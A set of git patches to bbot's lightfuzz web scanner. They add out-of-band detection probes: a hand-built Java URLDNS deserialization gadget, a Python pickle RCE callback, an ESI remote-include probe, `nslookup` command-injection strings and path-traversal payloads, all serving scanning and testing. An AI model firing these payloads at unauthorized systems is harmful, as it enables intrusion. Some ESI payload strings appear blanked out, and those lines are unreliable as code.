b"\xac\xed\x00\x05" + # TC_OBJECT — HashMap instance + buf += b"\x73" + # TC_CLASSDESC — HashMap class descriptor + buf += b"\x72" + buf += _java_utf("java.util.HashMap") + # HashMap.serialVersionUID = 362498820763181265L + buf += struct.pack(">q", 362498820763181265) + # Flags: SC_SERIALIZABLE | SC_WRITE_METHOD + buf += b"\x03" + # Field count: loadFactor (float), threshold (int) + buf += struct.pack(">H", 2) + buf += b"F" + _java_utf("loadFactor") + buf += b"I" + _java_utf("threshold") + # TC_ENDBLOCKDATA (end of class annotations) + buf += b"\x78" + # Super class: TC_NULL + buf += b"\x70" + # Instance data: loadFactor=0.75, threshold=12 + buf += struct.pack(">f", 0.75) + buf += struct.pack(">i", 12) + # Custom writeObject payload: TC_BLOCKDATA, length=8, capacity=16, size=1 + buf += b"\x77\x08" + buf += struct.pack(">i", 16) + buf += struct.pack(">i", 1) + + # Entry key: a java.net.URL with hashCode=-1 + buf += b"\x73" # TC_OBJECT + buf += b"\x72" # TC_CLASSDESC + buf += _java_utf("java.net.URL") + # URL.serialVersionUID = -7627629688361524110L + buf += struct.pack(">q", -7627629688361524110) + # Flags: SC_SERIALIZABLE + buf += b"\x02" + # Field count: 7 (hashCode, port, authority, file, host, protocol, ref) + buf += struct.pack(">H", 7) + buf += b"I" + _java_utf("hashCode") + buf += b"I" + _java_utf("port") + for fname in ("authority", "file", "host", "protocol", "ref"): + buf += b"L" + _java_utf(fname) + # Field type: TC_STRING (0x74) + signature + buf += b"\x74" + _java_utf("Ljava/lang/String;") + buf += b"\x78" # TC_ENDBLOCKDATA + buf += b"\x70" # TC_NULL (super class) + # Instance data + buf += struct.pack(">i", -1) # hashCode = -1 → forces DNS recomputation + buf += struct.pack(">i", 80) # port + buf += b"\x74" + _java_utf(f"{host}:80") # authority + buf += b"\x74" + _java_utf("") # file + buf += b"\x74" + _java_utf(host) # host + buf += b"\x74" + _java_utf("http") # protocol + buf += b"\x70" # ref: TC_NULL + # Entry value: TC_NULL (HashMap allows null values) + buf += b"\x70" + # TC_ENDBLOCKDATA closes HashMap's custom block + buf += b"\x78" + return bytes(buf) + + class serial(BaseLightfuzz): """Finds parameters where serialized objects might be being deserialized. It starts by performing a baseline with a specially-crafted non-serialized payload, separated by type (base64, hex, php raw). @@ -276,16 +361,18 @@ def get_title(text): r.pop("_technique", None) r.pop("_language", None) - # Blind RCE via Python pickle OOB. Payload generation is native to - # Python (unlike ysoserial-style Java/.NET gadgets that require - # out-of-process tooling), so we build the payload fresh with a - # unique interactsh subdomain each scan. A hit confirms not just - # "deserialization happens" but "attacker-controlled code ran". + # Blind RCE via language-native OOB payloads. Both pickle (Python) + # and URLDNS (Java) are built at scan time with a fresh interactsh + # subdomain — no out-of-process tooling required. Each uses its + # own subdomain tag so the interactsh callback unambiguously + # identifies which payload triggered. if self.lightfuzz.interactsh_instance: self.lightfuzz.event_dict[self.event.url] = self.event - subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) - callback_host = f"{subdomain_tag}.{self.lightfuzz.interactsh_domain}" - self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { + + # Python pickle OOB + pkl_tag = self.lightfuzz.helpers.rand_string(4, digits=False) + pkl_host = f"{pkl_tag}.{self.lightfuzz.interactsh_domain}" + self.lightfuzz.interactsh_subdomain_tags[pkl_tag] = { "event": self.event, "name": "Unsafe Deserialization", "description": ( @@ -296,14 +383,39 @@ def get_title(text): "confidence": "CONFIRMED", } try: - pickle_oob_bytes = pickle.dumps(_PickleOOB(callback_host)) - pickle_oob_b64 = base64.b64encode(pickle_oob_bytes).decode() + pkl_b64 = base64.b64encode(pickle.dumps(_PickleOOB(pkl_host))).decode() except Exception as e: self.debug(f"failed to build pickle OOB payload: {e}") else: await self.standard_probe( self.event.data["type"], cookies, - pickle_oob_b64, + pkl_b64, + timeout=15, + ) + + # Java URLDNS OOB — fires on ANY Java deserialization sink; + # requires only java.util.HashMap + java.net.URL (stdlib). + java_tag = self.lightfuzz.helpers.rand_string(4, digits=False) + java_host = f"{java_tag}.{self.lightfuzz.interactsh_domain}" + self.lightfuzz.interactsh_subdomain_tags[java_tag] = { + "event": self.event, + "name": "Unsafe Deserialization", + "description": ( + f"Java URLDNS OOB (OOB Interaction) Type: [{self.event.data['type']}] " + f"Parameter Name: [{self.event.data['name']}] Payload: [java_urldns_oob]" + ), + "severity": "CRITICAL", + "confidence": "CONFIRMED", + } + try: + java_b64 = base64.b64encode(_build_java_urldns_payload(java_host)).decode() + except Exception as e: + self.debug(f"failed to build Java URLDNS OOB payload: {e}") + else: + await self.standard_probe( + self.event.data["type"], + cookies, + java_b64, timeout=15, ) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 547dead8ef..5136662e85 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1910,6 +1910,44 @@ def check(self, module_test, events): assert oob_finding, "Python pickle OOB interactsh FINDING not emitted" +# Java URLDNS OOB — verifies that the pure-Python URLDNS payload built +# from scratch triggers an interactsh DNS lookup callback when a mock +# "Java" endpoint "deserializes" it. Because the URLDNS gadget requires +# only java.util.HashMap + java.net.URL (both stdlib), it fires against +# any Java deserialization sink without depending on app-specific gadget +# classes. +class Test_Lightfuzz_serial_urldns_interactsh(Test_Lightfuzz_serial_pickle_interactsh): + def request_handler(self, request): + import base64 as _b64 + import re as _re + + value = request.args.get("pklparam", "") + try: + decoded = _b64.b64decode(value) + except Exception: + decoded = b"" + # The URLDNS payload embeds the host string as a Java-modified-UTF + # with a 2-byte length prefix. The host bytes appear verbatim, so + # we can grep for the interactsh subdomain directly. + match = _re.search(rb"([a-z]+)\.fakedomain\.fakeinteractsh\.com", decoded) + if match: + tag = match.group(1).decode("ascii") + self.interactsh_mock_instance.mock_interaction(tag) + return Response("ok", status=200) + + def check(self, module_test, events): + urldns_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if ( + "Java URLDNS OOB (OOB Interaction)" in desc + and "Payload: [java_urldns_oob]" in desc + ): + urldns_finding = True + assert urldns_finding, "Java URLDNS OOB interactsh FINDING not emitted" + + # CMDi echo canary class Test_Lightfuzz_cmdi(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From f12cbed36759fa0794b6005d422d597ebbc9a615 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 14:33:33 -0400 Subject: [PATCH 557/912] Lightfuzz FN-hunt round 6 fixup: URLDNS flag fix + interactsh NPE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1. Java URL class descriptor was missing SC_WRITE_METHOD flag (0x01). URL has a custom readObject() that re-attaches the transient `handler` field after deserialization; without the flag, the JVM skips readObject() and leaves handler null, so URL.hashCode() never reaches the DNS-lookup code path. Flipping flag to 0x03 and adding the required TC_ENDBLOCKDATA terminator after URL's instance fields makes URLDNS fire end-to-end. Verified against a local Java 21 ObjectInputStream target: DNS lookup for a unique oastify subdomain confirmed. Full bbot E2E scan (WEB_PARAMETER → serial fuzz → interactsh callback) emits a CRITICAL CONFIRMED "Unsafe Deserialization" finding. 2. interactsh_callback now guards against KeyError when the callback arrives for a subdomain we never registered. Was previously `if not details["event"]:` which NPEs when `details` is None. --- bbot/modules/lightfuzz/lightfuzz.py | 4 +++- bbot/modules/lightfuzz/submodules/serial.py | 11 +++++++++-- 2 files changed, 12 insertions(+), 3 deletions(-) diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 63a045e074..23cb3941da 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -88,7 +88,9 @@ async def interactsh_callback(self, r): if full_id: if "." in full_id: details = self.interactsh_subdomain_tags.get(full_id.split(".")[0]) - if not details["event"]: + if not details or not details.get("event"): + # Callback for a subdomain we didn't register, or whose + # tag entry is incomplete — ignore rather than NPE. return protocol = r.get("protocol", "dns").lower() severity = details.get("severity", "HIGH") diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 8497c728d6..0d25467767 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -77,8 +77,11 @@ class needs to be present in the target's classpath. Only buf += _java_utf("java.net.URL") # URL.serialVersionUID = -7627629688361524110L buf += struct.pack(">q", -7627629688361524110) - # Flags: SC_SERIALIZABLE - buf += b"\x02" + # Flags: SC_SERIALIZABLE | SC_WRITE_METHOD. URL has a custom readObject + # that re-attaches the transient `handler` field after deserialization — + # without SC_WRITE_METHOD the deserializer skips it, leaving handler + # null so URL.hashCode() NPEs before the DNS lookup fires. + buf += b"\x03" # Field count: 7 (hashCode, port, authority, file, host, protocol, ref) buf += struct.pack(">H", 7) buf += b"I" + _java_utf("hashCode") @@ -97,6 +100,10 @@ class needs to be present in the target's classpath. Only buf += b"\x74" + _java_utf(host) # host buf += b"\x74" + _java_utf("http") # protocol buf += b"\x70" # ref: TC_NULL + # SC_WRITE_METHOD requires TC_ENDBLOCKDATA to close URL's custom + # writeObject block. URL's writeObject just calls defaultWriteObject + # and adds no extra data, but the terminator is still required. + buf += b"\x78" # Entry value: TC_NULL (HashMap allows null values) buf += b"\x70" # TC_ENDBLOCKDATA closes HashMap's custom block From cf5e7aca56cc8833f8f71c28ff1f8a18421afd8c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 14:54:10 -0400 Subject: [PATCH 558/912] Lightfuzz crypto: small cleanup - Remove dead `flip` branch from modify_string (never called; was scaffolding for a full CBC bit-flip exploitation path that ended up using the `mutate` action for detection purposes). - Add SHA224 (28 bytes) to identify_hash_function's length table. --- bbot/modules/lightfuzz/submodules/crypto.py | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 56bb0a67f5..433bbfc9fe 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -188,14 +188,6 @@ def modify_string(input_string, action="truncate", position=None, extension_leng modified_data = bytes(byte_list) elif action == "extend": modified_data = data + (b"\x00" * extension_length) - elif action == "flip": - if position is None: - position = len(data) // 2 - if position < 0 or position >= len(data): - raise ValueError("Position out of range") - byte_list = list(data) - byte_list[position] ^= 0xFF # Flip all bits in the byte at the specified position - modified_data = bytes(byte_list) else: raise ValueError("Unsupported action") return crypto.format_agnostic_encode(modified_data, encoding) @@ -510,6 +502,7 @@ def identify_hash_function(hash_bytes): hash_functions = { 16: hashlib.md5, 20: hashlib.sha1, + 28: hashlib.sha224, 32: hashlib.sha256, 48: hashlib.sha384, 64: hashlib.sha512, From 94e65ec5992b59d4f6d58536521e56115dadb82e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 15:20:33 -0400 Subject: [PATCH 559/912] Lightfuzz FN-hunt round 7: esi remote-include OOB MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add an interactsh-confirmed remote-include probe to the esi submodule. When the edge processes ESI and actually FETCHES an source URL, interactsh observes the callback and emits a CRITICAL CONFIRMED finding — a stronger signal than the existing tag-strip technique (which can happen cosmetically without real processing). Both techniques run independently: - Tag-strip (original, MEDIUM HIGH-confidence) - Remote-include OOB (new, CRITICAL CONFIRMED when interactsh enabled) Out-of-scope safety: the interactsh URL is out-of-scope by host, so even if the target reflects the include tag back verbatim, bbot's http module won't self-fetch the OOB URL (same safety mechanism the ssrf submodule relies on). Test: save-point with a mock that simulates an ESI edge fetching include src URLs. Parses the query string correctly at only the first `=` so the payload's internal `src=` doesn't truncate the value mid-read — a common gotcha for handler-style mocks. --- bbot/modules/lightfuzz/submodules/esi.py | 48 +++++++++++-- .../module_tests/test_module_lightfuzz.py | 71 +++++++++++++++++++ 2 files changed, 114 insertions(+), 5 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/esi.py b/bbot/modules/lightfuzz/submodules/esi.py index cfb786187c..288f528695 100644 --- a/bbot/modules/lightfuzz/submodules/esi.py +++ b/bbot/modules/lightfuzz/submodules/esi.py @@ -5,13 +5,25 @@ class esi(BaseLightfuzz): """ Detects Edge Side Includes (ESI) processing vulnerabilities. - Tests if the server processes ESI tags by sending a payload containing ESI tags - and checking if the tags are processed (removed) in the response. + Two complementary techniques that run independently: + + * Tag-strip Detection (original): + - Sends `AABBCC` and checks if `` + was stripped. Proves the edge processes ESI comment tags. + MEDIUM severity, HIGH confidence. + + * Remote-Include OOB Confirmation (new): + - Sends ``. If the edge + actually FETCHES the include, interactsh observes the callback + and emits a CRITICAL CONFIRMED finding. Stronger than tag- + stripping: tag-stripping can happen cosmetically; a remote + fetch proves real processing with exploitable side effects. """ # Technique lifted from https://github.com/PortSwigger/active-scan-plus-plus friendly_name = "Edge Side Includes" + uses_interactsh = True async def check_probe(self, cookies, probe, match): """ @@ -37,9 +49,35 @@ async def fuzz(self): """ cookies = self.event.data.get("assigned_cookies", {}) - # ESI test payload: if ESI is processed, will be removed - # leaving AABBCC in the response + # Tag-strip detection (original technique). If ESI is processed, + # gets removed, leaving AABBCC in the response. payload = "AABBCC" detection_string = "AABBCC" - await self.check_probe(cookies, payload, detection_string) + + # Remote-include OOB confirmation (new). Runs alongside the + # tag-strip probe — they detect distinct signals and both can + # fire on the same parameter. bbot's scope model prevents the + # interactsh URL from being self-fetched if it gets reflected + # into the response body (out-of-scope host, not fetched). + if self.lightfuzz.interactsh_instance: + subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) + interactsh_host = f"{subdomain_tag}.{self.lightfuzz.interactsh_domain}" + self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { + "event": self.event, + "name": "Edge Side Include Remote Fetch", + "description": ( + f"Edge Side Include Remote Fetch (OOB Interaction) " + f"Parameter: [{self.event.data['name']}] " + f"Parameter Type: [{self.event.data['type']}]{self.conversion_note()}" + ), + "severity": "CRITICAL", + "confidence": "CONFIRMED", + } + include_payload = f'' + await self.standard_probe( + self.event.data["type"], + cookies, + include_payload, + timeout=15, + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 5136662e85..013dd14a0b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -3014,6 +3014,77 @@ def check(self, module_test, events): assert esi_finding_emitted, "ESI FINDING not emitted" +# ESI remote-include OOB — verifies the new `` probe triggers +# an interactsh callback when the edge actually fetches the include URL, +# producing a CRITICAL CONFIRMED finding separate from the tag-strip one. +class Test_Lightfuzz_esi_interactsh(Test_Lightfuzz_esi): + config_overrides = { + "interactsh_disable": False, + "modules": { + "lightfuzz": {"enabled_submodules": ["esi"]}, + }, + } + + async def setup_before_prep(self, module_test): + self.interactsh_mock_instance = module_test.mock_interactsh("lightfuzz") + + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + from bbot.core.helpers.helper import ConfigAwareHelper + + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) + + def request_handler(self, request): + import re as _re + + qs = str(request.query_string.decode()) + # Parameter block must include the search form so excavate can + # extract the `search` GETPARAM on the initial fetch; otherwise + # esi only fuzzes the HEADER test param and the include probe + # never reaches us. + parameter_block = """ + + """ + if "search=" in qs: + # Split only at the FIRST `=` — the include payload's `src=` + # embeds unencoded `=` characters that would otherwise + # truncate the value. + value = qs.split("=", 1)[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Simulate an edge that fetches esi:include src URLs. Extract + # the interactsh subdomain from within an include payload and + # fire a mock interaction to prove the OOB detection path. + if "search: '{decoded}'", status=200) + return Response(parameter_block, status=200) + + def check(self, module_test, events): + remote_include_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if ( + "Edge Side Include Remote Fetch (OOB Interaction)" in desc + and "Parameter: [search]" in desc + ): + remote_include_finding = True + assert remote_include_finding, "ESI remote-include OOB FINDING not emitted" + + # Envelope state isolation: crypto error detection with all submodules enabled. # Crypto runs after sqli/cmdi/xss/path/ssti. Each prior submodule calls outgoing_probe_value() # which must not corrupt the envelope state that crypto reads via incoming_probe_value(). From 766e70d5e44202b5f3576b758c0844d4686d3f11 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 15:40:47 -0400 Subject: [PATCH 560/912] Lightfuzz path: simple non-recursive-strip probes Add `...//X` / `....//X` probe variants without the `a/` dummy intermediate. Some servers (notably PortSwigger's lab-sequences-stripped-non-recursively) reject paths whose intermediate components don't exist, so the existing `...//a/....//X` probe fails on them. The simple variant's stripped form resolves directly against the base dir, catching the bypass cleanly. --- bbot/modules/lightfuzz/submodules/path.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index fcd67ff940..0b72a97b6e 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -77,6 +77,16 @@ async def fuzz(self): "singledot_payload": f"/...//a/....//{probe_value}", "doubledot_payload": f"/....//a/....//{probe_value}", }, + # Simple (no-`a/`-intermediate) variants for servers that + # reject paths whose intermediate components don't exist. + "single-dot traversal tolerance (non-recursive stripping, simple)": { + "singledot_payload": f"...//{probe_value}", + "doubledot_payload": f"....//{probe_value}", + }, + "single-dot traversal tolerance (non-recursive stripping, simple, leading slash)": { + "singledot_payload": f"/...//{probe_value}", + "doubledot_payload": f"/....//{probe_value}", + }, "single-dot traversal tolerance (double url-encoding)": { "singledot_payload": f".%252fa%252f..%252f{probe_value}", "doubledot_payload": f"..%252fa%252f..%252f{probe_value}", From 86cb59570d35c4fe1ff8e10a6a6e8641467d82ff Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 15:53:37 -0400 Subject: [PATCH 561/912] Lightfuzz path: simple double-URL-encoding probes Same pattern as the non-recursive-strip round: drop the `a/` dummy intermediate so strict path resolvers still see a valid file after the server's superfluous double-decode. Catches PortSwigger's lab-superfluous-url-decode. --- bbot/modules/lightfuzz/submodules/path.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index 0b72a97b6e..dfd8f0153d 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -95,6 +95,15 @@ async def fuzz(self): "singledot_payload": f"%252f.%252fa%252f..%252f{probe_value}", "doubledot_payload": f"%252f..%252fa%252f..%252f{probe_value}", }, + # Simple (no-`a/`-intermediate) variants for strict path resolvers. + "single-dot traversal tolerance (double url-encoding, simple)": { + "singledot_payload": f".%252f{probe_value}", + "doubledot_payload": f"..%252f{probe_value}", + }, + "single-dot traversal tolerance (double url-encoding, simple, leading slash)": { + "singledot_payload": f"%252f.%252f{probe_value}", + "doubledot_payload": f"%252f..%252f{probe_value}", + }, } compiled_regex = self.lightfuzz.helpers.re.compile(r"/(?:[\w-]+/)*[\w-]+\.\w+") From 550ff1ff98017ad1f2e1192176b49ea264c16927 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 17:22:48 -0400 Subject: [PATCH 562/912] Lightfuzz: extract register_interactsh_tag helper MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Consolidates the interactsh subdomain-tag registration boilerplate (tag → FQDN → subdomain_tags dict entry) into a single BaseLightfuzz helper, replacing 5 duplicated blocks across ssrf, cmdi, esi, and serial (pickle + URLDNS). --- bbot/modules/lightfuzz/submodules/base.py | 25 ++++ bbot/modules/lightfuzz/submodules/cmdi.py | 28 ++-- bbot/modules/lightfuzz/submodules/esi.py | 17 +-- bbot/modules/lightfuzz/submodules/serial.py | 30 ++-- bbot/modules/lightfuzz/submodules/ssrf.py | 23 ++-- bbot/modules/lightfuzz/submodules/xss.py | 4 +- .../module_tests/test_module_lightfuzz.py | 128 +++++++----------- 7 files changed, 115 insertions(+), 140 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 92bea10c30..fce9dd9e17 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -20,6 +20,31 @@ def __init__(self, lightfuzz, event): self.results = [] self.parameter_name = self.event.data["name"] + def register_interactsh_tag( + self, *, name, description, severity, confidence, severity_dns=None, confidence_dns=None + ): + """Register a fresh interactsh subdomain tag and return `(tag, host)`. + + Caller incorporates ``host`` into its payload, then sends via + ``self.standard_probe`` (or equivalent). ``severity_dns`` and + ``confidence_dns`` optionally override the emitted finding's + severity/confidence when the observed interaction is DNS-only. + """ + tag = self.lightfuzz.helpers.rand_string(4, digits=False) + details = { + "event": self.event, + "name": name, + "description": description, + "severity": severity, + "confidence": confidence, + } + if severity_dns is not None: + details["severity_dns"] = severity_dns + if confidence_dns is not None: + details["confidence_dns"] = confidence_dns + self.lightfuzz.interactsh_subdomain_tags[tag] = details + return tag, f"{tag}.{self.lightfuzz.interactsh_domain}" + @staticmethod def is_hex(s): try: diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index 3d4f18454c..7479c8734b 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -158,17 +158,13 @@ async def fuzz(self): if self.lightfuzz.interactsh_instance: self.lightfuzz.event_dict[self.event.url] = self.event # Store the event associated with the URL for p in cmdi_probe_strings: - # generate a random subdomain tag and associate it with the event, type, name, and probe - subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) - self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { - "event": self.event, - "name": "OS Command Injection", - "description": f"OS Command Injection (OOB Interaction) Type: [{self.event.data['type']}] Parameter Name: [{self.event.data['name']}] Probe: [{p}]", - "severity": "CRITICAL", - "confidence": "CONFIRMED", - } - # payload is an nslookup command that includes the interactsh domain prepended the previously generated subdomain tag - interactsh_probe = f"{p} nslookup {subdomain_tag}.{self.lightfuzz.interactsh_domain} {p}" + _, host = self.register_interactsh_tag( + name="OS Command Injection", + description=f"OS Command Injection (OOB Interaction) Type: [{self.event.data['type']}] Parameter Name: [{self.event.data['name']}] Probe: [{p}]", + severity="CRITICAL", + confidence="CONFIRMED", + ) + interactsh_probe = f"{p} nslookup {host} {p}" # we have to handle our own URL-encoding here, because our payloads include the & character if self.event.data["type"] == "GETPARAM": interactsh_probe = urllib.parse.quote(interactsh_probe.encode(), safe="") @@ -198,13 +194,7 @@ async def _arith_confirm(self, http_compare, cookies, probe_str, expected, delim except HttpCompareError as e: self.debug(f"arithmetic probe [{shell_label}] error for [{delim}]: {e}") return False - matched = ( - probe[3] is not None - and expected in probe[3].text - and "echo" not in probe[3].text - ) + matched = probe[3] is not None and expected in probe[3].text and "echo" not in probe[3].text if matched: - self.debug( - f"{shell_label} arithmetic canary [{expected}] matched for delimiter [{delim}]" - ) + self.debug(f"{shell_label} arithmetic canary [{expected}] matched for delimiter [{delim}]") return matched diff --git a/bbot/modules/lightfuzz/submodules/esi.py b/bbot/modules/lightfuzz/submodules/esi.py index 288f528695..2e82bc4b74 100644 --- a/bbot/modules/lightfuzz/submodules/esi.py +++ b/bbot/modules/lightfuzz/submodules/esi.py @@ -61,20 +61,17 @@ async def fuzz(self): # interactsh URL from being self-fetched if it gets reflected # into the response body (out-of-scope host, not fetched). if self.lightfuzz.interactsh_instance: - subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) - interactsh_host = f"{subdomain_tag}.{self.lightfuzz.interactsh_domain}" - self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { - "event": self.event, - "name": "Edge Side Include Remote Fetch", - "description": ( + _, host = self.register_interactsh_tag( + name="Edge Side Include Remote Fetch", + description=( f"Edge Side Include Remote Fetch (OOB Interaction) " f"Parameter: [{self.event.data['name']}] " f"Parameter Type: [{self.event.data['type']}]{self.conversion_note()}" ), - "severity": "CRITICAL", - "confidence": "CONFIRMED", - } - include_payload = f'' + severity="CRITICAL", + confidence="CONFIRMED", + ) + include_payload = f'' await self.standard_probe( self.event.data["type"], cookies, diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 0d25467767..3b96a38b0c 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -377,18 +377,15 @@ def get_title(text): self.lightfuzz.event_dict[self.event.url] = self.event # Python pickle OOB - pkl_tag = self.lightfuzz.helpers.rand_string(4, digits=False) - pkl_host = f"{pkl_tag}.{self.lightfuzz.interactsh_domain}" - self.lightfuzz.interactsh_subdomain_tags[pkl_tag] = { - "event": self.event, - "name": "Unsafe Deserialization", - "description": ( + _, pkl_host = self.register_interactsh_tag( + name="Unsafe Deserialization", + description=( f"Python pickle OOB RCE (OOB Interaction) Type: [{self.event.data['type']}] " f"Parameter Name: [{self.event.data['name']}] Payload: [python_pickle_oob]" ), - "severity": "CRITICAL", - "confidence": "CONFIRMED", - } + severity="CRITICAL", + confidence="CONFIRMED", + ) try: pkl_b64 = base64.b64encode(pickle.dumps(_PickleOOB(pkl_host))).decode() except Exception as e: @@ -403,18 +400,15 @@ def get_title(text): # Java URLDNS OOB — fires on ANY Java deserialization sink; # requires only java.util.HashMap + java.net.URL (stdlib). - java_tag = self.lightfuzz.helpers.rand_string(4, digits=False) - java_host = f"{java_tag}.{self.lightfuzz.interactsh_domain}" - self.lightfuzz.interactsh_subdomain_tags[java_tag] = { - "event": self.event, - "name": "Unsafe Deserialization", - "description": ( + _, java_host = self.register_interactsh_tag( + name="Unsafe Deserialization", + description=( f"Java URLDNS OOB (OOB Interaction) Type: [{self.event.data['type']}] " f"Parameter Name: [{self.event.data['name']}] Payload: [java_urldns_oob]" ), - "severity": "CRITICAL", - "confidence": "CONFIRMED", - } + severity="CRITICAL", + confidence="CONFIRMED", + ) try: java_b64 = base64.b64encode(_build_java_urldns_payload(java_host)).decode() except Exception as e: diff --git a/bbot/modules/lightfuzz/submodules/ssrf.py b/bbot/modules/lightfuzz/submodules/ssrf.py index e2c927e489..498ab4b844 100644 --- a/bbot/modules/lightfuzz/submodules/ssrf.py +++ b/bbot/modules/lightfuzz/submodules/ssrf.py @@ -25,23 +25,18 @@ async def fuzz(self): prefixes = ["http://", "https://", ""] for prefix in prefixes: - subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) - interactsh_url = f"{prefix}{subdomain_tag}.{self.lightfuzz.interactsh_domain}" probe_label = prefix if prefix else "no scheme" - - self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { - "event": self.event, - "name": "Server-Side Request Forgery", - "description": f"Server-Side Request Forgery (OOB Interaction) Type: [{self.event.data['type']}] Parameter Name: [{self.event.data['name']}] Probe: [{probe_label}]", - "severity": "HIGH", - "confidence": "CONFIRMED", - "severity_dns": "HIGH", - "confidence_dns": "MEDIUM", - } - + _, host = self.register_interactsh_tag( + name="Server-Side Request Forgery", + description=f"Server-Side Request Forgery (OOB Interaction) Type: [{self.event.data['type']}] Parameter Name: [{self.event.data['name']}] Probe: [{probe_label}]", + severity="HIGH", + confidence="CONFIRMED", + severity_dns="HIGH", + confidence_dns="MEDIUM", + ) await self.standard_probe( self.event.data["type"], cookies, - interactsh_url, + f"{prefix}{host}", timeout=15, ) diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py index b3f13e1fa2..1f1ac023b1 100644 --- a/bbot/modules/lightfuzz/submodules/xss.py +++ b/bbot/modules/lightfuzz/submodules/xss.py @@ -193,8 +193,8 @@ async def fuzz(self): if not reflection or reflection is False: return - between_tags, attribute_quote, in_javascript, in_html_comment, in_js_backtick = ( - await self.determine_context(cookies, reflection_probe_result.text, random_string) + between_tags, attribute_quote, in_javascript, in_html_comment, in_js_backtick = await self.determine_context( + cookies, reflection_probe_result.text, random_string ) self.debug( f"determine_context returned: between_tags [{between_tags}], attribute_quote [{attribute_quote}], " diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 013dd14a0b..d05c9ef66a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -121,8 +121,7 @@ def check(self, module_test, events): assert web_parameter_emitted, "WEB_PARAMETER was not emitted" assert simple_pathtraversal_finding_emitted, ( - "Simple single-dot path traversal FINDING not emitted — " - "strict-resolver detection regression." + "Simple single-dot path traversal FINDING not emitted — strict-resolver detection regression." ) @@ -357,8 +356,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ 